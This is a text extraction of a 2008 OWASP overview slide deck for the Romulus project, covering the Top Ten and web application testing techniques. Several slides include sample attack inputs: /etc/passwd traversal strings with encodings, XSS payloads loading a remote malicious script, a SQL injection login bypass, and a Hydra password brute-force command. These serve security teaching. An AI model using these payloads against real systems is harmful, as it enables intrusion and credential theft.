54
OWASP OVERVIEW Alberto Pastor Nieto Informática Gesfor March 2008

Romulus OWASP

Embed Size (px)

DESCRIPTION

Romulus project OWASP presentation. More info at: http://www.ict-romulus.eu/

Citation preview

Page 1: Romulus OWASP

OWASPOVERVIEW

Alberto Pastor NietoInformática Gesfor

March 2008

Page 2: Romulus OWASP

OWASP

The Open Web Application Security ProjectOWASP Top TenOWASP Testing Guide (Tools demonstration)

Page 3: Romulus OWASP

OWASP

The Open Web Application Security ProjectOWASP Top TenOWASP Testing Guide (Tools demonstration)

Page 4: Romulus OWASP

OWASP

Open communityInterested in improving application securityNot affiliated with any technology company

Page 5: Romulus OWASP

OWASP

The Open Web Application Security ProjectOWASP Top TenOWASP Testing Guide (Tools demonstration)

Page 6: Romulus OWASP

1. Cross Site Scripting (XSS)2. Injection Flaws3. Malicious File Execution4. Insecure Direct Object Reference5. Cross Site Request Forgery (CSRF)6. Information Leakage and Improper Error Handling7. Broken Authentication and Session Management8. Insecure Cryptographic Storage9. Insecure Communications10. Failure to Restrict URL Access

OWASPTOP TEN (2007)

Page 7: Romulus OWASP

OWASP

The Open Web Application Security ProjectOWASP Top TenOWASP Testing Guide (Tools demonstration)

Page 9: Romulus OWASP

Information GatheringTesting Web Application Fingerprint

Different servers

Different versions

Differentresponses

Page 10: Romulus OWASP

Information GatheringTesting Web Application Fingerprint

$ nc 202.41.76.251 80HEAD / HTTP/1.0

HTTP/1.1 200 OKDate: Mon, 16 Jun 2003 02:53:29 GMTServer: Apache/1.3.3 (Unix) (Red Hat/Linux)Last-Modified: Wed, 07 Oct 1998 11:18:14 GMTETag: "1813-49b-361b4df6"Accept-Ranges: bytesContent-Length: 1179Connection: closeContent-Type: text/html

Page 11: Romulus OWASP

Information GatheringTesting Web Application Fingerprint

NETCRAFT ( http://www.netcraft.com )httprint

( http://www.net-square.com/httprint/ )

Tools:

Page 12: Romulus OWASP

Information GatheringTesting Web Application Fingerprint

Page 13: Romulus OWASP

Information GatheringApplication Discovery

Related issues:

Different base URL Non-standard portsVirtual hosts

Page 14: Romulus OWASP

Information GatheringApplication Discovery

Different base URL:

Directory exploration?Google (site:www.example.com)Candidate URLs (Ex. Nessus)

Page 15: Romulus OWASP

Information GatheringApplication Discovery

Non-standard ports: nmap –P0 –sT –sV –p1-65535 192.168.1.100Interesting ports on 192.168.1.100:(The 65527 ports scanned but not shown below are in state: closed)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 3.5p1 (protocol 1.99)80/tcp open http Apache httpd 2.0.40 ((Red Hat Linux))443/tcp open ssl OpenSSL901/tcp open http Samba SWAT administration server

Page 16: Romulus OWASP

Information GatheringApplication Discovery

Virtual hosts: $ host -t ns www.owasp.orgwww.owasp.org is an alias for owasp.org.owasp.org name server ns1.secure.net.owasp.org name server ns2.secure.net.

http://searchdns.netcraft.com/?host

Page 17: Romulus OWASP

Information GatheringSpidering and Googling

Spidering:wget -r http://www.example.com

Googling:googlegath.plhttp://www.nothink.org/perl/googlegath/

Page 18: Romulus OWASP

Information GatheringSSL/TLS Testing

Vulnerability Scanners:

Expired certificatesWeak Ciphers...

Other tools: OpenSSL, SSLDigger

Page 19: Romulus OWASP

Information GatheringTesting for File Extensions Handling

Identify underlying technologiesTools:

wget curl web mirroring tools vulnerability scanners

Page 20: Romulus OWASP

Information GatheringApplication Configuration Management Testing

Typical files and y directorios conocidosBe careful with HTML commentsPersonalize Error PagesOnly load necessary modulesMinimised privilegesAccess (correct and incorrect) log

Page 21: Romulus OWASP

Information GatheringOld, Backup and Unreferenced Files

Site map and technology cluesContent cluesPractices:

look into robots.txt, sitemaps files public information (cache: site:) search files: ~ .old .bak...

Page 22: Romulus OWASP

Information GatheringOld, Backup and Unreferenced Files

No use: mod_autoindex y mod_info (Hide unnecessary information)Correctness permisionsUse CHROOTLogs recommendations

Page 23: Romulus OWASP

Nessushttp://www.nessus.org

Port ScannerVulnerability Scanner

Page 24: Romulus OWASP

Business Logic Testing

Automated tools find it hard to understand contextPeople who know logic businessStrong data testing

Page 25: Romulus OWASP

Authentication

Dictionary attacksBruteforce attacksPattern searching attacks

Obtain User Accounts

Page 26: Romulus OWASP

AuthenticationObtain User Accounts

Tools:

John the RipperHydraBrutusRainbow Tables

Page 27: Romulus OWASP

AuthenticationObtain User Accounts

raven@blackbox /hydra $ ./hydra -L users.txt -P words.txt www.site.com https-post-form "/index.cgi:login&name=^USER^&password=^PASS^&login=Login:Not allowed" &

Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.Hydra (http://www.thc.org)starting at 2009-07-04 19:16:17[DATA] 16 tasks, 1 servers, 1638 login tries (l:2/p:819), ~102 tries per task[DATA] attacking service http-post-form on port 443[STATUS] attack finished for wiki.intranet (waiting for childs to finish)[443] host: 10.0.0.1 login: owasp password: password[STATUS] attack finished for www.site.com (waiting for childs to finish)Hydra (http://www.thc.org) finished at 2009-07-04 19:18:34

Page 28: Romulus OWASP

AuthenticationBypassing authentication schema

• Direct page request• Parameter modification• Session IDs Prediction• SQL Injection

Page 29: Romulus OWASP

AuthenticationBypassing authentication schema

Tools:

WebScarabWebGoat (Trainning)

Page 30: Romulus OWASP

AuthenticationDirectory traversal/file include

Known as “dot-dot-slash”

2 evaluation steps:

Input vectors enumerationTesting Techniques

Page 31: Romulus OWASP

AuthenticationDirectory traversal/file include

Input vectors enumeration:

HTTP GET y POST requestsFile loadingHTML forms...

Page 32: Romulus OWASP

AuthenticationDirectory traversal/file include

Testing Techniques:

http://example.com/getUserProfile.jsp?item=../../../../etc/passwdCookie: USER=1826cc8f:PSTYLE=../../../../etc/passwdhttp://example.com/index.php?file=http://www.owasp.org/malicioustxt

CAREFUL WITH CHARSET!!%2e%2e%2f is ../%2e%2e/ is ../..%2f is ../

%2e%2e%5c is ..\%2e%2e\ is ..\..%5c is ..\

Page 33: Romulus OWASP

AuthenticationDirectory traversal/file include

Tools:

WebScarabParosBurp Suite

Page 34: Romulus OWASP

AuthenticationVulnerable remember password and pwd reset

"Security questions":

Multiple questionsStrong questionsNumber of attemptsCAPTCHASending to email

Page 35: Romulus OWASP

AuthenticationVulnerable remember password and pwd reset

Careful with “Remember password”:

<INPUT TYPE="password" AUTOCOMPLETE="off">

If password is into a Cookie:

In a hashed form

Page 36: Romulus OWASP

Session ManagementLogout and Browser Cache Management Testing

End Web Session:• The user logs out• The user remains idle for a certain amount of time and the application automatically logs him/her out

Page 37: Romulus OWASP

Session ManagementLogout and Browser Cache Management Testing

KEY:

INVALIDATE SERVER-SIDE SESSION

Java: HttpSession.invalidate()

Page 38: Romulus OWASP

Session ManagementLogout and Browser Cache Management Testing

Other practices:

End session button well visibleInvalidate Cookies in client-side

Page 39: Romulus OWASP

Session ManagementLogout and Browser Cache Management Testing

Tools:

WebScarabAdd N Edit Cookies (Firefox ext)Web Developer (Firefox ext)

Page 40: Romulus OWASP

Session ManagementAnalysis of the Session Management Schema

RandomlessUniquenessResistance to statistical analysisResistance to cryptographic analysis

Pasos a seguir:Pasos a seguir:

Session Tokens Analysis:

Page 41: Romulus OWASP

Session ManagementCookie and Session Token Manipulation

Cookie CollectionCookie Reverse EngineeringCookie manipulation

Steps:

Page 42: Romulus OWASP

Session ManagementCookie and Session Token Manipulation

WebScarabCookie Digger

Tools:

Page 43: Romulus OWASP

Session ManagementCross Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) describes a way to force an unknowing user to execute unwanted actions on a web application in which he is currently authenticated.

Recommended practices:Add session-related information in URLsUse POSTIntermediate pages (“Are you sure you really want to do this?”)Use REFERER headers

Page 44: Romulus OWASP

Data ValidationXSS (Cross Site Scripting)

XSS: Code injection attacks into the various interpreters in the browser.

http://server/cgi-bin/testcgi.exe?<SCRIPT>alert(“Cookie”+document.cookie)</SCRIPT>

<script src=http://www.example.com/malicious-code.js></script>%3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e\x3cscript src=http://www.example.com/malicious-code.js\x3e\x3c/script\x3e

Revise all input vectors

Page 45: Romulus OWASP

Data ValidationXSS (Cross Site Scripting)

Tools:

OWASP CAL9000

Page 46: Romulus OWASP

Data ValidationSQL Injection

Insertion or "injection" of an SQL query via the input data from the client to the application.

Example:SELECT * FROM Users WHERE Username='$username' AND Password='$password'

Input:

$username = 1' or '1' = '1$password = 1' or '1' = '1

SELECT * FROM Users WHERE Username= '1' OR '1' = '1' AND Password= '1' OR '1' = '1'

Page 47: Romulus OWASP

Data ValidationSQL Injection

Tools:

OWASP SQLIXSQL DUMPER

Page 48: Romulus OWASP

Data ValidationOther Injections

LDAP Injection (Lightweight Directory Access Protocol)ORM Injection (Hibernate in Java, Nhibernate in .NET, ActiveRecord in Ruby on Rails)XML InjectionSSI InjectionXPATH InjectionIMAP/SMTP InjectionSystem commands Injection

Page 49: Romulus OWASP

Data ValidationBuffer overflow

Issues caused by buffer overflows:

Denial of service (DoS)Code InjectionCode execution

Practices:

Update softwareBest practices

Page 50: Romulus OWASP

Denial of Service

User accounts blocked (Use CAPTCHAs)Buffer overflowsUser specified object allocationUser input as a loop counterUser provide data to diskFailure to release resourcesStore too much data in Session

Page 51: Romulus OWASP

Web Services

XML Structural TestingOverloading the XML parser

XML Content-level TestingXML/SQL/XPath... Injections

Validate Input Size Naugthy SOAP Attachments TestingMan-in-the-middle Testing

Page 52: Romulus OWASP

AJAX Testing

Increased attack surface with many more inputs to secureExposed internal functions of the applicationClient access to third-party resources with no built-in security and encoding mechanismsFailure to protect authentication information and sessionsBlurred line between client-side and server-side code, resulting in security mistakes

Page 53: Romulus OWASP

Useful Tools

OWASP Enterprise Security APIOWASP Encoding (User Inputs validation)OWASP Stinger (HTTP request validation)OWASP CSRFTester Project

Page 54: Romulus OWASP

Any Question?

OWASPhttp://www.owasp.org

Romulus Project http://www.ict-romulus.org